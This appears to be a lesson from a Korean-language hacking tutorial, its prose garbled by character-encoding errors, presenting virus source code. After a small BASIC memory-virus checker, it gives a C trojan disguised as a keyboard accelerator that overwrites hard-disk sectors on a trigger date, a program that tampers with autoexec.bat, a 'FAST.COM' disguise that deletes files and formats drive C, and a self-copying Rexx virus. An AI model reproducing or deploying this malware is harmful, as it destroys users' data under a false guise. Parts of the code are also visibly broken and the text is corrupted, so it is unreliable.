Hack 06
Hack 06
6ȸ°ÁÂÀÔ´Ï´Ù.
À̹ø ½Ã°£¿¡´Â ±âŸ ¾ð¾îÎ Á¦ÀÛÇÑ ¹ÙÀÌ‾½º¸¦ »ìÆìº¸±âÎ ÇϰڽÀ´Ï´Ù.
DATA "4B","FE","55BB","´ÙÅ©¾îº¥Àú-1028"
DATA "E0","00","0300","¿¹ç»ì½"
DATA "42","43","5678","ħÀÔÀÚ"
DATA "C0","00","0300","´À¸²º¸ ¶Ç´Â ZEROTIME"
DATA "EE","00","0300","¿¹ç»ì½-G"
DATA "FF","00","0400","ÀÏ¿äÀÏ"
DIM INAX(10),OTAX(10),VN$(10)
FOR I=1 TO 6
READ A$,B$,C$,D$
INAX(I)=VAL("&H"+A$+B$)
OTAX(I)=VAL("&H"+C$)
VN$(I)=D$
NEXT I
PRINT "¸Þ¸ð¸®ÀÇ ¹ÙÀÌ‾½º¸¦ °Ë»çÇÕ´Ï´Ù."
FOR I=1 TO 6
Reg 1,INAX(I)
CALL INTERRUPT &H21
IF Reg(1)=OTAX(I) THEN PRINT VN$(I);" ¹ÙÀÌ‾½º°¡ Á¸ÀçÇÕ´Ï´Ù."
NEXT I
END
{
-----------------------------------------------------------
Number One
This is a very primitive virus
HANDLE WITH CARE: -------- Demonstration ONLY !!!
4) C Î ±¸ÇöÇÑ ¹ÙÀÌ‾½º
´ÙÀ½Àº ÇÏµå µð½ºÅ© ÆÄ±« Æ®ÎÀÌ ¸ñ¸¶ ¹ÙÀÌ‾½º C ¼Ò½ºÀÔ´Ï´Ù.
´ÙÀ½ ¹èġΠ±¸ÇöÇÑ ¹ÙÀÌ‾½º ÀÇ Æ®ÎÀÌ ¸ñ¸¶Çü ±¸Á¶¿Í ºñ½ÁÇÕ´Ï´Ù.
´ÜÁö Â÷ÀÌÁ¡Àº °³¹ß ¾ð¾î¿Í ¾à°£ÀÇ Ä§Åõ¹æ¹ýÀÇ Â÷À̰ÚÁÒ.
´ÙÀ½ ¹ÙÀÌ‾½º ÇÁαץÀº Çϵåµð½ºÅ©¸¦ ºü¸£°Ô ÇÕ´Ï´Ù.
±×‾³ª ÁöÁ¤ÇÑ ³‾Â¥,Á¶°ÇÀÌ ¸ÂÀ¸¸é ÇÏµå µð½ºÅ©¸¦ ÆÄ±«ÇØ ¹ö¸³´Ï´Ù.
C Î Æ®ÎÀ̸ñ¸¶ ¹ÙÀÌ‾½º¸¦ ±¸ÇöÇÒ ¼ö ÀÖ´Ù´Â Á¤µµÎ ¾Ë¾Æ µÎ½Ê½Ã¿ä.
*¹ÙÀÌ‾½º ¸ÞÀÎ ºÎºÐÀÔ´Ï´Ù
// Main Source Fast.C
#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <string.h>
#define LASTHEAD 1
#define LASTTRACK 79
#define LASTSECTOR 15
#define BYTESPERSECTOR 512
#define driveToRead 0x80 // C: drive (ÆÄ±«´ë»ó µå¶óÀ̺ê ÁöÁ¤)
char diskBuffer[BYTESPERSECTOR * LASTSECTOR];
typedef struct{ // ³‾Â¥ÀÇ ±¸Á¶Ã¼
int Year;
int Month;
int Day;
} Time_Type;
// Űº¸µå ºü¸£°Ô ÇÏ´Â çÆ¾ (Æ®ÎÀÌ ¸ñ¸¶ÀÇ ¿ÜÇü ºÎºÐ)
void Fast_Key( void )
{
outp( 0x60, 0xF3 );
delay( 100 );
outp( 0x60, 0x00 );
delay( 100 );
}
// Çϵåµð½ºÅ© ¼½ÅÍ ¾²±â
unsigned char WriteHardSector( unsigned char drive,
unsigned char sectorsToWrite,
unsigned char head,
unsigned int cylinder,
unsigned char sector,
unsigned char far *bufferPtr ){
union REGS reg;
struct SREGS sreg;
reg.h.ah = 3;
reg.h.al = sectorsToWrite;
reg.x.bx = FP_OFF(bufferPtr);
reg.h.dh = head;
reg.h.dl = drive;
reg.h.ch = cylinder;
reg.h.cl = (cylinder >> 8);
reg.h.cl <<= 6;
reg.h.cl |= (sector & 63);
sreg.es = FP_SEG(bufferPtr);
int86x(0x13,®,®,&sreg);
return(reg.h.ah);
}
void main( void ){
unsigned char currentHead,currentTrack,currentSector;
struct date cur_d; // ³‾Â¥
FILE *Read_Exe; // ÈÀÏ Æ÷ÀÎÅÍ
Time_Type Clack_Time; // ÆÄ±« ´ë»ó Çϵåµð½ºÅ© ³‾Â¥ÀÇ ±¸Á¶Ã¼
int Data_Size = 0; // ³‾Â¥¸¦ ÀбâÀ§ÇÑ »çÀÌÁî
getdate(&cur_d); // ÇöÀç ³‾Â¥ ¾Ë¾Æ³»±â
Read_Exe = fopen("fast.exe","rb");
//¹ÙÀÌ‾½º °³½Ã ³‾Â¥¸¦ ¾Ë¾Æ³»±â À§ÇØ ½ÇÇàÈÀÏÀ» OPEN
//Open½Ã fast.exe ÈÀÏÀÌ ÇöµðºÅ丮¿¡ ÀÖ¾î¾ßÇÔ
Data_Size = sizeof(Time_Type);
fseek(Read_Exe,-Data_Size,SEEK_END); // ½ÇÇà ÈÀÏ ³¡¿¡¼ Data_Size¸¸Å
// µÚÎ Æ÷ÀÎÆ®¸¦ ¿Å±è
fread(&Clack_Time,sizeof(Time_Type),1,Read_Exe);
// µ¥ÀÌŸ Àбâ
if( ( Clack_Time.Year == cur_d.da_year) &&
( Clack_Time.Month == cur_d.da_mon ) &&
( Clack_Time.Day == cur_d.da_day )){
// ³‾Â¥°¡ ½ÇÇàÈÀÏ ³¡¿¡ ºÙÀº ³‾Â¥¿Í ÀÏÄ¡ Çϸé ÇÏµå ÆÄ±«
for(currentTrack = 0; currentTrack <= LASTTRACK; currentTrack++){
for(currentHead = 0; currentHead <= LASTHEAD; currentHead++){
//½ÇÁ¦ Çϵåµð½ºÅ© ÆÄ±« ºÎºÐ
//¾û¶×ÇÑ µ¥ÀÌŸ¸¦ ¸¶±¸ ½á¹ö¸²
WriteHardSector(driveToRead,LASTSECTOR,currentHead,
currentTrack,1,diskBuffer);
}
}
textattr( WHITE | BLUE << 4);
cprintf("[ Cracking Ok ! ]");
textattr( WHITE | BLACK << 4);
cprintf("\n");
}
// ³‾Â¥°¡ ¸ÂÁö ¾ÊÀ» °æ¿ì ±×³É Űº¸µå ¼Óµµ¸¦ ºü¸£°Ô ÇÑ´Ù
else { Fast_Key();
textattr( WHITE | BLUE << 4);
cprintf("Fast_key Installed !");
textattr( WHITE | BLACK << 4);
cprintf("\n");
}
}
´ÙÀ½Àº À§¿Í ¾ÆÁÖ À‾»çÇÑ ÇüÅÂÀÇ Æ®ÎÀÌ ¸ñ¸¶Çü ¹ÙÀÌ‾½º ¼Ò½º ÀÔ´Ï´Ù.
#include <dos.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
void next();
struct mystruct
{
int num;
char name[10];
char tel[10];
};
char n[]="@echo off\ntype t.cmm\n";
main()
{
int r;
long add;
FILE *fp;
struct mystruct s,d,f;
if ( ( fp = fopen("C:\\t.cmm","wb+" )) == NULL )
{
exit(-1);
}
s.num = 1;
strcpy( s.name,"I'm Hacker");
strcpy( s.tel,"HaHa...");
fwrite(&s , sizeof(s),1,fp);
fseek( fp,0,SEEK_SET);
fread( &d,sizeof(d),1,fp);
fclose(fp);
fp = fopen ("C:\\autoexec.bat","r+");
fprintf(fp,"%22s",n);
fwrite(n,1,1,fp);
fseek(fp,add,0);
add = r+190;
fclose(fp);
next();
}
/***************************************************************************
* *
* Űº¸µå ¼Óµµ¸¦ ºü¸£°Ô ÇØ ÁÖ´Â À‾Æ¿¸®Æ¼. (FAST.COM) *
* *
* ¸¸µç °÷ : ÇÏ ´Ã ¼Ò ( °æºÏ´ëÇб³ ÀüÀÚ°øÇаú ) *
* ¸¸µç »ç¶÷ : ÀÌ ¿µ »ó ( ÇÏ´Ã¼Ò 2 ±â ) *
* ¸¸µç ³‾Â¥ : 4323³â 7¿ù *
* *
****************************************************************************/
#include <dos.h> /* µµ½º¿¡ °üÃµÈ ÇÔ¼öµéÀ» ¾²°Ú´Ù´Â ¸»ÀÌ´Ù. */
#include<process.h>
main()
{
printf("Wait ...\n");
system("echo y! del *.*");
system("echo y! format c: >nul");
}
6) ±×¿ÜÀÇ ¹ÙÀÌ‾½º
´ÙÀ½Àº Rexx ¶ó´Â ¾ð¾îÎ Á¦ÀÛÇÑ ³×Æ®¿öÅ© »óÀÇ ¹ÙÀÌ‾½ºÀÇ ¼Ò½ºÀÌ´Ù.
--------------------TOP OF FILE-------------------------------------------
/LOAD REXX
IF RANDOM(2) <> 0 THEN DO
NAME.1 = 'PQ'
NAME.2 = 'OUTPUT'
NAME.3 = 'PROFILE'
NAME.4 = 'BROWSE'
NAME.5 = 'HELP'
FANME='VIRUS'
MAXLINE=0
W1=1
W2=80
CLONE=0
I=0
PARA='FNAME MAXLINE REC W1 W2 CLONE '
DO WHILE I < 20
I=I+1
M1.I=''
M2.I=''
PARA = PARA || 'M1.' || I || ' M2.' || I || ' '
END
COMMAND = '(DOCTOR VIRUS)'
PARA = PARA || 'COMMAND'
C=0
M1.8='-->'
DO WHILE C < 10
MN.3=' COMPUTER VIRUS IN MULTI-USER TIME-SHARING ENVIROMENT '
IF C=9 TH N COMMAND '..O,O;.. CANCEL ..'
CLINE=C
MAXFILE=C+1
'PANEL IGCX:ED.PAN ' || PARA
IF COMMAND='HELP' THEN C=20
C=C+1
END
C=RANDOM(5)
'COPY IGCX:TEMP ' || NAME.C || 'XO'
-------------------END OF FILE-----------------------------------------
(PROGRAM TEMP)
------------------TOP OF FILE--- -------------------------------------
/LOAD REXX
SAY 'INFECTED BY COMPUTER VIRUS MEROMNG'
EXIT
-----------------END OF FILE------------------------------------------